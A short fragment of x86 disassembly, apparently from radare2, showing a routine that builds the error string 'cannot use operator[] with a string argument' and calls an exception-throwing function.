mov byte [ebp - 4], 0x15
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x290]
call fcn.0048f320
mov byte [ebp - 4], 0x16
mov edx, 0x131
push eax
lea ecx, [ebp - 0x230]
call fcn.00412b50
add esp, 8
lea eax, [ebp - 0x230]
push 0x56c680
push eax
call fcn.004fe48b
int3